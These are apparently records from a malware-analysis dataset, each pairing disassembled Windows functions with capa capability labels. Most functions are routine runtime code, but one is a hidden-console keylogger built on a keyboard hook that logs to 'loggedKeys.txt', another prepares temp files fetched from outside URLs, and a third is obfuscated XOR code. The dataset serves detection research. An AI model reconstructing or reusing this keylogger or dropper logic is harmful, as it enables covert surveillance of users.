joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007ee0
Capabilities:
Create thread
Get common file path

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4b8
movups xmmword [rsp + 0x490], xmm6
movups xmmword [rsp + 0x4a0], xmm7
call fcn.140001820
lea rbx, [rsp + 0x50]
mov ecx, 0x104
lea rax, str.https:__i.imgur.com_MwQEe9a.jpeg
lea rdi, [rsp + 0x270]
lea rsi, [rsp + 0x160]
movq xmm6, rax
mov rdx, rbx
lea rax, str.https:__jayasec.netlify.app_HellSecurityyyyyOnDiscord.mp3
movq xmm0, rdi
movq xmm1, rsi
movq xmm7, rax
punpcklqdq xmm6, xmm0
lea rbp, [rsp + 0x380]
punpcklqdq xmm7, xmm1
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r8, rbx
lea rdx, str._sHellSecurityyyyyOnDiscord.mp3
mov rcx, rsi
call fcn.140001530
mov r8, rbx
lea rdx, str._sMwQEe9a.jpeg
mov rcx, rdi
call fcn.140001530
mov r8, rbx
lea rdx, str._smessageFromHell.txt
mov rcx, rbp
call fcn.140001530
mov rcx, rsi
call fcn.140001670
mov rcx, rdi
call fcn.140001670
mov rcx, rbp
call fcn.140001670
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
xor ecx, ecx
lea r9, [rsp + 0x30]
lea r8, [0x140001640]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x30], xmm7
movups xmmword [rsp + 0x40], xmm6
call rbx
lea r9, [rsp + 0x40]
lea r8, [0x140001640]
xor edx, edx
mov r13, rax
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov rcx, r13
mov edx, 0xffffffff
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r12, rax
call r13
mov edx, 0xffffffff
mov rcx, r12
call r13
mov rcx, rbp
call fcn.1400016a0
mov r9, rbp
xor edx, edx
xor ecx, ecx
lea r8, [0x1400015e0]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call rbx
mov r9, rdi
lea r8, [0x140001620]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call rbx
mov dword [rsp + 0x20], 0
mov r9, rsi
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x140001560]
xor ecx, ecx
call rbx
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax + rax]
mov ecx, 0x3e8
call rbx
jmp 0x140008098
Function at 0x18002aa60
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x18002ab58
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18002abc7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18002abc7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18002abc7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18002abc7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18002abc7
cmp dword [rcx + 0x84], 0xe
jbe 0x18002abc7
cmp dword [rcx + 0xf8], 0
je 0x18002abc7
mov ecx, ebx
call fcn.18002aa90
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18002acec
nop
cmp dword [rbp + 0x20], 0
je 0x18002ac15
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18002ab24
int3

Function at 0x18002ab58
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x18002ab58
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18002abc7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18002abc7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18002abc7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18002abc7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18002abc7
cmp dword [rcx + 0x84], 0xe
jbe 0x18002abc7
cmp dword [rcx + 0xf8], 0
je 0x18002abc7
mov ecx, ebx
call fcn.18002aa90
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18002acec
nop
cmp dword [rbp + 0x20], 0
je 0x18002ac15
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18002ab24
int3

Function at 0x18002c0e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18002c108
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18002c108
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180031ccc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180031cfc
xor eax, eax
jmp 0x180031dbf
mov rbp, rbx
cmp word [rax], si
je 0x180031d21
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180031d08
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180031d04
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180031bec
movsxd r14, eax
test eax, eax
jne 0x180031d5f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180031cf5
mov rcx, r14
call fcn.18002f064
mov rdi, rax
test rax, rax
jne 0x180031d78
xor ecx, ecx
call fcn.18002e068
jmp 0x180031d54
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180031bec
test eax, eax
jne 0x180031da9
mov rcx, rdi
call fcn.18002e068
jmp 0x180031db3
xor ecx, ecx
call fcn.18002e068
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180035d48
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180035d5e
mov al, 1
jmp 0x180035dbe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180035d6f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180035dbc
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800326fc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180035dbc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180035dbc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180035dbc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180035dbe
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1801c055b
Capabilities:
Encode data using xor

Disassembly:
xor esi, 0x8e03d438
push 0x3200bd1a
add esi, 0x495721d
mov qword [rsp + 8], 0xffffffff9c8c6ea3
neg esi
sub esi, 0x9286d91a
mov qword [rsp + 0x10], 0x1131caa3
mov qword [rsp + 0x18], rbp
mov ebp, 0x79197086
neg rbp
and bpl, 0x25
xor dword [rsp + rbp + 0x791970f8], esi
pop rbp
pop rbp
pop rbp
pop rbp
jmp 0x1801c0535
push 0x78ba8526
xor dword [rsp + 2], 0xfa1ee733
sbb r10, 4
push 0xffffffff9998feb7
push 0x11bdee03
mov dword [r10], esi
call fcn.1801c3995
mov eax, 0xe612f707
movsx r11d, ax
sub r8, 1
or ax, 0xbf35
cwde
sal r11, 0x12
movzx r11d, byte [r8 + riz]
shr rax, 0x68
sar eax, 0xb9
xor r11b, bpl
rol r11b, 1
cwde
or al, ah
jo 0x1801c056f
xor r11b, 0x95
btr ax, ax
dec r11b
shr rax, 0xcc
rol r11b, 1
dec rax
lea rax, [rax + rax - 0x1eee2f50]
inc r11b
xor bpl, r11b
add eax, 0x7f3ff0ba
or ax, ax
adc r11, rsp
or ax, ax
inc ax
not rax
movzx ax, byte [r11 + rax + 0x6051c16a]
jle 0x1801c4f80
call fcn.1801c7c7e
Function at 0x140001530
Capabilities:
Log keystrokes via application hook

Disassembly:
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x14000155f
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [0x140003418]
lea rdx, str.loggedKeys.txt
lea rcx, [0x140005680]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001679
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x1400014d0]
mov r8, rax
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140005678], rax
test rax, rax
jne 0x1400015ca
mov eax, 0xffffffff
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400016b0
add rsp, 0xb8
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r8, [rsp + 0x58]
mov edx, 0x1e
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_asctime_s]
lea rdx, [rsp + 0x80]
lea rcx, str._n_nStart_logging_at:__s
call fcn.140001010
xor r9d, r9d
lea rcx, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000165d
nop word [rax + rax]
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001630
mov rcx, qword [0x140005678]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140005680]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400016b0
add rsp, 0xb8
ret

Function at 0x140001f70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001fba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001fba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001fba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001fba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001fba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001fbc
xor al, al
add rsp, 0x28
ret
Function at 0x140001050
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x28
mov eax, dword [0x14002706c]
mov ecx, dword [0x14002ab28]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400010a2
movabs rax, 0x7f00000000
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rdx, [0x140025ce4]
xor r8d, r8d
mov r9d, 0x7f
call fcn.140001f9c
nop
add rsp, 0x28
ret
lea rcx, [0x14002706c]
call fcn.1400023bc
cmp dword [0x14002706c], 0xffffffff
jne 0x140001075
xor ecx, ecx
call fcn.14000746c
mov dword [0x140027068], 0xffffffff
mov dword [0x140025ce8], eax
mov ecx, 2
lea rdx, [0x140025ce4]
mov r8d, eax
shr r8d, 0x1e
xor r8d, eax
imul eax, r8d, 0x6c078965
add eax, ecx
dec eax
mov dword [rdx + rcx*4], eax
inc rcx
cmp rcx, 0x271
jne 0x1400010da
mov dword [0x140025ce4], 0x270
lea rcx, [0x14002706c]
call fcn.140002434
jmp 0x140001075

Function at 0x140001b56
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
lea rdx, str._
lea r8, [0x14001f1fa]
xor ecx, ecx
mov r9d, 0x24
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
je 0x140001bf0
lea rdx, str.__n_n
lea r8, [0x14001f1fa]
xor ecx, ecx
mov r9d, 0x24
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
je 0x140001bf0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140001360]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rsi, [0x140001690]
mov rdi, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call rdi
jmp 0x140001bd1
xor ecx, ecx
call fcn.140005a7c
int3

Function at 0x140002032
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov eax, dword [rcx]
cmp eax, 0x270
jne 0x14000204d
mov rcx, rsi
call fcn.14000209a
jmp 0x14000205c
cmp eax, 0x4e0
jb 0x14000205c
mov rcx, rsi
call fcn.140002126
mov eax, dword [rsi]
lea ecx, [rax + 1]
mov dword [rsi], ecx
mov eax, dword [rsi + rax*4 + 4]
mov ecx, eax
shr ecx, 0xb
and ecx, dword [rsi + 0x1384]
xor ecx, eax
mov eax, ecx
shl eax, 7
and eax, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
add rsp, 0x20
pop rsi
ret

Function at 0x14000209a
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmmword [rsp], xmm6
movd xmm0, dword [rcx + 4]
pshufd xmm3, xmm0, 0
mov rax, 0xfffffffffffffd90
movaps xmm0, xmmword [0x140019020]
movaps xmm1, xmmword [0x140019030]
movdqa xmm2, xmmword [0x140019040]
movups xmm4, xmmword [rcx + rax*4 + 0x9c8]
shufps xmm3, xmm4, 3
shufps xmm3, xmm4, 0x98
andps xmm3, xmm0
movaps xmm5, xmm4
andps xmm5, xmm1
orps xmm5, xmm3
psrld xmm5, 1
movaps xmm3, xmm4
pslld xmm4, 0x1f
psrad xmm4, 0x1f
pand xmm4, xmm2
movdqu xmm6, xmmword [rcx + rax*4 + 0xff8]
pxor xmm6, xmm4
pxor xmm6, xmm5
movdqu xmmword [rcx + rax*4 + 0x1384], xmm6
add rax, 4
jne 0x1400020ca
movaps xmm6, xmmword [rsp]
add rsp, 0x18
ret
Function at 0x140002126
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x18
movdqa xmmword [rsp], xmm6
mov edx, dword [rcx + 0x9c4]
mov eax, 0x3fe
and edx, 0x80000000
mov r8d, dword [rcx + rax*4 - 0x630]
mov r9d, r8d
and r9d, 0x7ffffffe
or r9d, edx
shr r9d, 1
mov edx, r8d
and r8d, 1
neg r8d
and r8d, 0x9908b0df
xor r8d, dword [rcx + rax*4]
xor r8d, r9d
mov dword [rcx + rax*4 - 0xff4], r8d
inc rax
cmp rax, 0x4e1
jne 0x14000213a
movd xmm0, dword [rcx + 0xd50]
pshufd xmm3, xmm0, 0
xor eax, eax
movaps xmm0, xmmword [0x140019020]
movaps xmm1, xmmword [0x140019030]
movdqa xmm2, xmmword [0x140019040]
movups xmm4, xmmword [rcx + rax*4 + 0xd54]
shufps xmm3, xmm4, 3
shufps xmm3, xmm4, 0x98
andps xmm3, xmm0
movaps xmm5, xmm4
andps xmm5, xmm1
orps xmm5, xmm3
psrld xmm5, 1
movaps xmm3, xmm4
pslld xmm4, 0x1f
psrad xmm4, 0x1f
pand xmm4, xmm2
movdqu xmm6, xmmword [rcx + rax*4 + 4]
pxor xmm6, xmm4
pxor xmm6, xmm5
movdqu xmmword [rcx + rax*4 + 0x390], xmm6
add rax, 4
cmp rax, 0x18c
jne 0x1400021a8
mov eax, 0x80000000
and eax, dword [rcx + 0x1380]
mov edx, dword [rcx + 4]
mov r8d, edx
and r8d, 0x7ffffffe
or r8d, eax
and edx, 1
neg edx
and edx, 0x9908b0df
xor edx, dword [rcx + 0x634]
shr r8d, 1
xor edx, r8d
mov dword [rcx + 0x9c0], edx
mov dword [rcx], 0
movaps xmm6, xmmword [rsp]
add rsp, 0x18
ret

Function at 0x140003d40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003d8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003d8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003d8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003d8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140003d8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003d8c
xor al, al
add rsp, 0x28
ret

Function at 0x140005858
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14000588f
call fcn.14000d32c
mov dword [rax], 0x16
call fcn.140006cd8
xor eax, eax
jmp 0x140005921
mov rdx, r9
mov rcx, r8
call fcn.140005944
mov rbx, rax
test rax, rax
je 0x14000591e
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x28], rax
lea r8, [0x1400059b0]
mov eax, dword [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
mov dword [rsp + 0x20], eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14000590b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14000d374
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400058f2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140005901
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14000cb90
jmp 0x14000591e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000591b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140005a7c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005b8c
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005bfb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005bfb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005bfb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005bfb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005bfb
cmp dword [rcx + 0x84], 0xe
jbe 0x140005bfb
cmp dword [rcx + 0xf8], 0
je 0x140005bfb
mov ecx, ebx
call fcn.140005af8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005d30
nop
cmp dword [rbp + 0x20], 0
jne 0x140005c5c
call fcn.14000d600
cmp eax, 1
jne 0x140005c4c
xor dl, dl
jmp 0x140005c56
call fcn.14000d6bc
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140005c67
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005b5c
int3

Function at 0x140005b8c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005b8c
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005bfb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005bfb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005bfb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005bfb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005bfb
cmp dword [rcx + 0x84], 0xe
jbe 0x140005bfb
cmp dword [rcx + 0xf8], 0
je 0x140005bfb
mov ecx, ebx
call fcn.140005af8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005d30
nop
cmp dword [rbp + 0x20], 0
jne 0x140005c5c
call fcn.14000d600
cmp eax, 1
jne 0x140005c4c
xor dl, dl
jmp 0x140005c56
call fcn.14000d6bc
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140005c67
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005b5c
int3

Function at 0x140007a20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140007a48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140007a48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000eaf8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000eb28
xor eax, eax
jmp 0x14000ebeb
mov rbp, rbx
cmp word [rax], si
je 0x14000eb4d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000eb34
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000eb30
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ea18
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x14000eb8e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000eb21
call fcn.14000d9b0
mov rdi, rax
test rax, rax
jne 0x14000eba4
xor ecx, ecx
call fcn.14000cb90
jmp 0x14000eb83
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ea18
test eax, eax
jne 0x14000ebd5
mov rcx, rdi
call fcn.14000cb90
jmp 0x14000ebdf
xor ecx, ecx
call fcn.14000cb90
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14000ec08
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000ec8f
mov rsi, rbx
cmp word [rax], bp
je 0x14000ec4e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000ec38
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000ec34
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000d9b0
mov rdi, rax
test rax, rax
je 0x14000ec7c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400173a0
mov rbp, rdi
xor ecx, ecx
call fcn.14000cb90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000f71c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14000f732
mov al, 1
jmp 0x14000f79e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14000f743
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14000f79c
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000f0ec
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000f79c
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14000f79c
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000f79c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14000f79e
xor al, al
add rsp, 0x20
pop rbx
ret